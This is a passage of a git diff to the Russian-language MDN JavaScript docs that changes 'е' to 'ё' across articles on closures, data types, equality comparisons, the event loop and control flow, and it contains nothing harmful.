остаётся доступной для использования и сохранённый в ней текст "Mozilla" передаётся в <code>alert</code>.</p> <p>А вот немного более интересный пример — функция <code>makeAdder</code>:</p> @@ -70,7 +70,7 @@ console.log(add10(2)); // 12 <p>Здесь мы определили функцию <code>makeAdder(x)</code>, которая получает единственный аргумент <code>x</code> и возвращает новую функцию. Эта функция получает единственный аргумент <code>y</code> и возвращает сумму <code>x</code> и <code>y</code>.</p> -<p>По существу <code>makeAdder</code> — это фабрика функций: она создает функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.</p> +<p>По существу <code>makeAdder</code> — это фабрика функций: она создаёт функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.</p> <p><code>add5</code> и <code>add10</code> — это примеры замыканий. Эти функции делят одно определение тела функции, но при этом они сохраняют различные окружения. В окружении функции <code>add5</code> <code>x</code> — это 5, в то время как в окружении <code>add10</code> <code>x</code> — это 10.</p> @@ -80,7 +80,7 @@ console.log(add10(2)); // 12 <p>Следовательно, замыкания можно использовать везде, где вы обычно использовали объект с одним единственным методом.</p> -<p>Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создается пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): <em>callback функция - функция выполняемая в ответ на возникновение события</em>.</p> +<p>Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создаётся пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): <em>callback функция - функция выполняемая в ответ на возникновение события</em>.</p> <p>Давайте рассмотрим практический пример: допустим, мы хотим добавить на страницу несколько кнопок, которые будут менять размер текста. Как вариант, мы можем указать свойство font-size на элементе body в пикселах, а затем устанавливать размер прочих элементов страницы (таких, как заголовки) с использованием относительных единиц em:</p> @@ -131,7 +131,7 @@ document.getElementById('size-16').onclick = size16; <p>Языки вроде Java позволяют нам объявлять частные (private) методы . Это значит, что они могут быть вызваны только методами того же класса, в котором объявлены.</p> -<p>JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имен, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.</p> +<p>JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имён, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.</p> <p>Код ниже иллюстрирует, как можно использовать замыкания для определения публичных функций, которые имеют доступ к закрытым от пользователя (private) функциям и переменным. Такая манера программирования называется <a class="external" href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">модульное программирование</a>: </p> @@ -161,13 +161,13 @@ Counter.decrement(); alert(Counter.value()); /* Alerts 1 */ </pre> -<p>Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаем единое окружение для трех функций: <code>Counter.increment</code>, <code>Counter.decrement</code>, и <code>Counter.value</code>.</p> +<p>Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаём единое окружение для трёх функций: <code>Counter.increment</code>, <code>Counter.decrement</code>, и <code>Counter.value</code>.</p> -<p>Единое окружение создается в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную <code>privateCounter</code> и функцию <code>changeBy(val)</code>. Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.</p> +<p>Единое окружение создаётся в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную <code>privateCounter</code> и функцию <code>changeBy(val)</code>. Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.</p> <p>Эти три публичные функции являются замыканиями, использующими общий контекст исполнения (окружение). Благодаря механизму lexical scoping в Javascript, все они имеют доступ к переменной <code>privateCounter</code> и функции <code>changeBy</code>.</p> -<p>Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем ее, присваивая результат исполнения переменной <code>Counter</code>. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:</p> +<p>Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем её, присваивая результат исполнения переменной <code>Counter</code>. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:</p> <pre class="brush: js notranslate">var makeCounter = function() { var privateCounter = 0; @@ -198,7 +198,7 @@ alert(Counter1.value()); /* Alerts 1 */ alert(Counter2.value()); /* Alerts 0 */ </pre> -<p>Заметьте, что счетчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией <code><span style="font-family: consolas,monaco,andale mono,monospace;">makeCounter()</span></code> также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная <code>privateCounter </code>в каждом из счетчиков это действительно отдельная, самостоятельная переменная.</p> +<p>Заметьте, что счётчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией <code><span style="font-family: consolas,monaco,andale mono,monospace;">makeCounter()</span></code> также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная <code>privateCounter </code>в каждом из счётчиков это действительно отдельная, самостоятельная переменная.</p> <p>Используя замыкания подобным образом, вы получаете ряд преимуществ, обычно ассоциируемых с объектно-ориентированным программированием, таких как изоляция и инкапсуляция.</p> @@ -236,11 +236,11 @@ setupHelp(); <p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13026/", "", 200)}}</p> -<p>Массив <code>helpText</code> описывает три подсказки для трех полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события <code>onfocus</code> для этого элемента должна вызываться функция, показывающая соответствующую подсказку.</p> +<p>Массив <code>helpText</code> описывает три подсказки для трёх полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события <code>onfocus</code> для этого элемента должна вызываться функция, показывающая соответствующую подсказку.</p> <p>Если вы запустите этот код, то увидите, что он работает не так, как мы ожидаем интуитивно. Какое поле вы бы ни выбрали, в качестве подсказки всегда будет высвечиваться сообщение о возрасте. </p> -<p>Проблема в том, что функции, присвоенные как обработчики события <code>onfocus</code>, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от функции <code>setupHelp</code>. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события <code>onfocus</code> цикл уже давно отработал, а значит, переменная <code>item</code> (одна и та же для всех трех замыканий) указывает на последний элемент массива, который как раз в поле возраста.</p> +<p>Проблема в том, что функции, присвоенные как обработчики события <code>onfocus</code>, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от функции <code>setupHelp</code>. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события <code>onfocus</code> цикл уже давно отработал, а значит, переменная <code>item</code> (одна и та же для всех трёх замыканий) указывает на последний элемент массива, который как раз в поле возраста.</p> <p>В качестве решения в этом случае можно предложить использование функции, фабричной функции (function factory), как уже было описано выше в примерах:</p> @@ -272,7 +272,7 @@ setupHelp(); <p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13024/", "", 200)}}</p> -<p>Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция <code>makeHelpCallback</code> создает каждому из замыканий свое собственное, в котором переменная <code>item</code> указывает на правильный элемент массива <code>helpText</code>.</p> +<p>Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция <code>makeHelpCallback</code> создаёт каждому из замыканий своё собственное, в котором переменная <code>item</code> указывает на правильный элемент массива <code>helpText</code>.</p> <h2 id="Соображения_по_производительности">Соображения по производительности</h2> @@ -295,7 +295,7 @@ setupHelp(); } </pre> -<p>Поскольку вышеприведенный код никак не использует преимущества замыканий, его можно переписать следующим образом:</p> +<p>Поскольку вышеприведённый код никак не использует преимущества замыканий, его можно переписать следующим образом:</p> <pre class="brush: js notranslate">function MyObject(name, message) { this.name = name.toString(); diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html index e02cffe0f7..7941ee07b1 100644 --- a/files/ru/web/javascript/data_structures/index.html +++ b/files/ru/web/javascript/data_structures/index.html @@ -27,7 +27,7 @@ foo = true; // foo становится типа Boolean <ul> <li>6 типов данных являющихся примитивами: <ul> - <li>{{Glossary("Undefined")}} (Неопределенный тип) : <code>typeof instance === "undefined"</code></li> + <li>{{Glossary("Undefined")}} (Неопределённый тип) : <code>typeof instance === "undefined"</code></li> <li>{{Glossary("Boolean")}} (Булев, Логический тип) : <code>typeof instance === "boolean"</code></li> <li>{{Glossary("Number")}} (Число) : <code>typeof instance === "number"</code></li> <li>{{Glossary("String")}} (Строка) : <code>typeof instance === "string"</code></li> @@ -84,7 +84,7 @@ Infinity <li>Объединить две строки в одну, применив оператор (<code>+</code>) или метод {{jsxref("String.concat()")}}.</li> </ul> -<h4 id="Избегайте_повсеместного_использования_строк_в_своем_коде!">Избегайте повсеместного использования строк в своем коде!</h4> +<h4 id="Избегайте_повсеместного_использования_строк_в_своём_коде!">Избегайте повсеместного использования строк в своём коде!</h4> <p>Иногда может показаться соблазнительным использование строк для представления сложных структур данных. Это даст небольшие краткосрочные выгоды:</p> @@ -104,7 +104,7 @@ Infinity <h3 id="Тип_данных_Большое_целое_BigInt">Тип данных Большое целое (BigInt)</h3> -<p><code>BigInt</code><font><font> является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 </font></font><sup><font><font>53</font></font></sup><font><font>, что является наибольшим числом, которое JavaScript может надежно представить с помощью </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-объект Number - это объект-оболочка, позволяющий работать с числовыми значениями. Объект Number создается с помощью конструктора Number (). Номер объекта типа примитива создается с помощью функции Number ().">Number</a></code><font><font> примитива.</font></font></p> +<p><code>BigInt</code><font><font> является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 </font></font><sup><font><font>53</font></font></sup><font><font>, что является наибольшим числом, которое JavaScript может надёжно представить с помощью </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-объект Number - это объект-оболочка, позволяющий работать с числовыми значениями. Объект Number создаётся с помощью конструктора Number (). Номер объекта типа примитива создаётся с помощью функции Number ().">Number</a></code><font><font> примитива.</font></font></p> <pre class="brush: js notranslate"><code>> let bigInt = 19241924124n; > console.log(bigInt); @@ -120,7 +120,7 @@ Infinity <p>В JavaScript объект может расцениваться как набор свойств. <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">Литеральная инициализация объекта</a> задаёт определённое количество начальных свойств, и в процессе работы приложения поля могут добавляться и удаляться. Значения свойств могут иметь любой тип, включая другие объекты, что позволяет строить сложные, разветвлённые иерархии данных. Каждое свойство объекта идентифицируется ключом, в качестве которого может выступать значение с типом Строка или Символ.</p> -<p>Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определенными атрибутами.</p> +<p>Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определёнными атрибутами.</p> <h4 id="Свойство-значение">Свойство-значение</h4> diff --git a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html index 99baf1e830..c4e2e48cd5 100644 --- a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html +++ b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness <p>Выбор оператора зависит от типа сравнения, которое необходимо произвести.</p> </div> -<p class="syntaxbox">В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернет <code>false</code>, даже не сравнивая); ну и <code>Object.is</code> ведет себя так же, как и тройное равно, но со специальной обработкой для <code>NaN</code>, <code>-0</code> и <code>+0</code>, возвращая <code>false</code> при сравнении <code>-0</code> и <code>+0</code>, и <code>true</code> для операции <code>Object.is(NaN, NaN)</code>. (В то время как двойное или тройное равенство вернут <code>false</code> согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов <code>x</code> и <code>y</code>, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные <code>x</code> и <code>y</code> не ссылаются на один и тот же объект), все операторы сравнения вернут <code>false</code>.</p> +<p class="syntaxbox">В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернёт <code>false</code>, даже не сравнивая); ну и <code>Object.is</code> ведёт себя так же, как и тройное равно, но со специальной обработкой для <code>NaN</code>, <code>-0</code> и <code>+0</code>, возвращая <code>false</code> при сравнении <code>-0</code> и <code>+0</code>, и <code>true</code> для операции <code>Object.is(NaN, NaN)</code>. (В то время как двойное или тройное равенство вернут <code>false</code> согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов <code>x</code> и <code>y</code>, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные <code>x</code> и <code>y</code> не ссылаются на один и тот же объект), все операторы сравнения вернут <code>false</code>.</p> <h2 id="Сравнение_с_использованием">Сравнение с использованием <code>==</code></h2> @@ -109,7 +109,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness <p>В таблице выше, ToNumber(A) пытается перед сравнением привести свой аргумент к числу. Такое поведение эквивалентно <code>+A</code> (унарный оператор <code>+</code>). Если ToPrimitive(A) получает <em>объект</em> в качестве аргумента, то производятся попытки привести его к примитиву, вызывая на нем методы <code>A.toString</code> и <code>A.valueOf</code>.</p> -<p><span id="result_box" lang="ru"><span class="hps">Традиционно</span><span> (</span><span class="hps">и в соответствии с</span> <span class="hps">ECMAScript</span><span>)</span>, <span class="hps">ни один из объектов</span> <span class="hps">не равен</span> </span><code>undefined</code> или <code>null</code>. Но большинство браузеров позволяет определенному классу объектов<span id="result_box" lang="ru"><span class="hps"> (в частности,</span> <span class="hps">объектам</span> <code><span class="hps">document.all</span></code> <span class="hps">для любой страницы</span><span>) <em>эмулировать</em> значение </span></span><code>undefined.</code> Оператор равенства вернёт значение true для <code>null == A</code> и <code>undefined == A</code>, тогда, и только тогда, когда объект эмулирует значение <code>undefined</code>. Во всех остальных случаях объект не может быть равен <code>undefined</code> или <code>null</code>.</p> +<p><span id="result_box" lang="ru"><span class="hps">Традиционно</span><span> (</span><span class="hps">и в соответствии с</span> <span class="hps">ECMAScript</span><span>)</span>, <span class="hps">ни один из объектов</span> <span class="hps">не равен</span> </span><code>undefined</code> или <code>null</code>. Но большинство браузеров позволяет определённому классу объектов<span id="result_box" lang="ru"><span class="hps"> (в частности,</span> <span class="hps">объектам</span> <code><span class="hps">document.all</span></code> <span class="hps">для любой страницы</span><span>) <em>эмулировать</em> значение </span></span><code>undefined.</code> Оператор равенства вернёт значение true для <code>null == A</code> и <code>undefined == A</code>, тогда, и только тогда, когда объект эмулирует значение <code>undefined</code>. Во всех остальных случаях объект не может быть равен <code>undefined</code> или <code>null</code>.</p> <pre class="brush: js">var num = 0; var obj = new String("0"); @@ -134,7 +134,7 @@ console.log(obj == undefined); <h2 id="Строгое_равенство_с_использованием">Строгое равенство с использованием <code>===</code></h2> -<p>Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них <code>+0</code>, а вторая <code>-0</code>. В то же время, если хотя бы одна из числовых переменных содержит значение <code>NaN</code>, выражение вернет <code>false</code>.</p> +<p>Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них <code>+0</code>, а вторая <code>-0</code>. В то же время, если хотя бы одна из числовых переменных содержит значение <code>NaN</code>, выражение вернёт <code>false</code>.</p> <pre class="brush: js">var num = 0; var obj = new String("0"); @@ -153,7 +153,7 @@ console.log(obj === null); // false console.log(obj === undefined); // false </pre> -<p>Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение <code>+0</code> и <code>-0</code>. Знак для нуля введен для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между <code>+0</code> и <code>-0</code> не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин <code>NaN</code>. <code>NaN</code> (Not a number) представляет из себя значение не определенной величины, которое применяется для не четко определенных математических задач (например <code>+∞ + -∞</code>). Для оператора строго равенства <code>NaN</code> не равен ни одной из величин, в том числе и самому себе (единственный случай, когда <code>(x!==x)</code> вернет true).</p> +<p>Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение <code>+0</code> и <code>-0</code>. Знак для нуля введён для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между <code>+0</code> и <code>-0</code> не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин <code>NaN</code>. <code>NaN</code> (Not a number) представляет из себя значение не определённой величины, которое применяется для не чётко определённых математических задач (например <code>+∞ + -∞</code>). Для оператора строго равенства <code>NaN</code> не равен ни одной из величин, в том числе и самому себе (единственный случай, когда <code>(x!==x)</code> вернёт true).</p> <h2 id="Равенство_одинаковых_величин">Равенство одинаковых величин</h2> @@ -169,7 +169,7 @@ function attemptMutation(v) } </pre> -<p>При попытке изменения неизменяемого свойства, вызов <code>Object.defineProperty выбросит</code> исключение, однако, если новое свойство равняется старому, изменений не произойдет и исключение не будет выброшено. Если <code>v</code> содержит <code>-0</code>, изменений не произойдет, а значит, код отработает без выброса исключений. Однако, если же <code>v</code> содержит <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p> +<p>При попытке изменения неизменяемого свойства, вызов <code>Object.defineProperty выбросит</code> исключение, однако, если новое свойство равняется старому, изменений не произойдёт и исключение не будет выброшено. Если <code>v</code> содержит <code>-0</code>, изменений не произойдёт, а значит, код отработает без выброса исключений. Однако, если же <code>v</code> содержит <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p> <h2 id="Спецификации_для_равенства_строгого_равенства_и_равенства_одинаковых_величин">Спецификации для равенства, строгого равенства и равенства одинаковых величин</h2> diff --git a/files/ru/web/javascript/eventloop/index.html b/files/ru/web/javascript/eventloop/index.html index d659ecc73c..1d4023e2c5 100644 --- a/files/ru/web/javascript/eventloop/index.html +++ b/files/ru/web/javascript/eventloop/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/EventLoop <h3 id="Стек">Стек</h3> -<p>Вызов любой функции создает контекст выполнения (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth#JavaScript_execution_contexts">Execution Context</a>). При вызове вложенной функции создается новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).</p> +<p>Вызов любой функции создаёт контекст выполнения (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth#JavaScript_execution_contexts">Execution Context</a>). При вызове вложенной функции создаётся новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).</p> <pre class="brush: js">function f(b) { var a = 12; @@ -36,7 +36,7 @@ function g(x) { g(21); </pre> -<p>Когда вызывается функция <code>g</code>, создаётся первый контекст выполнения, содержащий аргументы функции <code>g</code> и локальные переменные. Когда <code>g</code> вызывает <code>f</code>, создаётся второй контекст с аргументами <code>f</code> и её локальными переменными. И этот контекст выполнения <code>f</code> помещается в стек вызовов выше первого. Когда <code>f</code> возвращает результат, верхний элемент из стека удаляется. Когда <code>g</code> возвращает результат, ее контекст также удалится, и стек становится пустым.</p> +<p>Когда вызывается функция <code>g</code>, создаётся первый контекст выполнения, содержащий аргументы функции <code>g</code> и локальные переменные. Когда <code>g</code> вызывает <code>f</code>, создаётся второй контекст с аргументами <code>f</code> и её локальными переменными. И этот контекст выполнения <code>f</code> помещается в стек вызовов выше первого. Когда <code>f</code> возвращает результат, верхний элемент из стека удаляется. Когда <code>g</code> возвращает результат, её контекст также удалится, и стек становится пустым.</p> <h3 id="Куча">Куча</h3> @@ -62,7 +62,7 @@ g(21); <h3 id="Запуск_до_завершения">Запуск до завершения</h3> -<p>Каждая задача выполняется полностью, прежде чем начнет обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.</p> +<p>Каждая задача выполняется полностью, прежде чем начнёт обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.</p> <p>У данного подхода есть и минусы. Если задача занимает слишком много времени, то веб-приложение не может обрабатывать действия пользователя в это время (например, скролл или клик). Браузер старается смягчить проблему и выводит сообщение <em>"скрипт выполняется слишком долго" ("a script is taking too long to run")</em> и предлагает остановить его. Хорошей практикой является создание задач, которые исполняются быстро, и если возможно, разбиение одной задачи на несколько мелких.</p> @@ -70,11 +70,11 @@ g(21); <p>В браузерах события добавляются в очередь в любое время, если событие произошло, а так же если у него есть обработчик. В случае, если обработчика нет – событие потеряно. Так, клик по элементу, имеющему обработчик события по событию <code>click </code>, добавит событие в очередь, а если обработчика нет – то и событие в очередь не попадет.</p> -<p>Вызов <a href="/ru/docs/Web/API/WindowTimers/setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a> добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции <code>setTimeout</code> придется ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент <code>setTimeout</code> корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.</p> +<p>Вызов <a href="/ru/docs/Web/API/WindowTimers/setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a> добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции <code>setTimeout</code> придётся ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент <code>setTimeout</code> корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.</p> <h3 id="Нулевые_задержки">Нулевые задержки</h3> -<p>Нулевая задержка не дает гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом 0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдет выполнение обработчика <em>cb1</em>. Это произойдет, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.</p> +<p>Нулевая задержка не даёт гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом 0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдёт выполнение обработчика <em>cb1</em>. Это произойдёт, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.</p> <pre class="brush: js">(function () { diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html index a7b952b323..dd86463b4a 100644 --- a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html +++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling <p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</p> <div class="summary"> -<p>JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе дается обзор этих инструкций.</p> +<p>JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе даётся обзор этих инструкций.</p> </div> <p>Более подробная информация об инструкциях, рассмотренных в данной главе, содержится в <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements">справочнике по JavaScript</a>. Точка с запятой ( <code>;</code> ) используется для разделения инструкций в коде.</p> @@ -26,9 +26,9 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> -<p>В вышеприведенном примере <code>{ x++; }</code> является блоком.</p> +<p>В вышеприведённом примере <code>{ x++; }</code> является блоком.</p> -<p><strong>Обратите внимание:</strong> в JavaScript <strong>отсутствует</strong> область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создает новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:</p> +<p><strong>Обратите внимание:</strong> в JavaScript <strong>отсутствует</strong> область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создаёт новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">{ @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling </span><span class="punctuation token" style="color: #999999;">}</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // выведет 2</span></code></pre> -<p>В вышеприведенном примере инструкция <code>var x</code> внутри блока находится в той же области видимости, что и инструкция <code>var x</code> перед блоком. В C или Java эквивалентный код выведет значение 1.</p> +<p>В вышеприведённом примере инструкция <code>var x</code> внутри блока находится в той же области видимости, что и инструкция <code>var x</code> перед блоком. В C или Java эквивалентный код выведет значение 1.</p> <p>Начиная с ECMAScript 6, оператор <code>let</code> позволяет объявить переменную в области видимости блока. Чтобы получить более подробную информацию, прочитайте 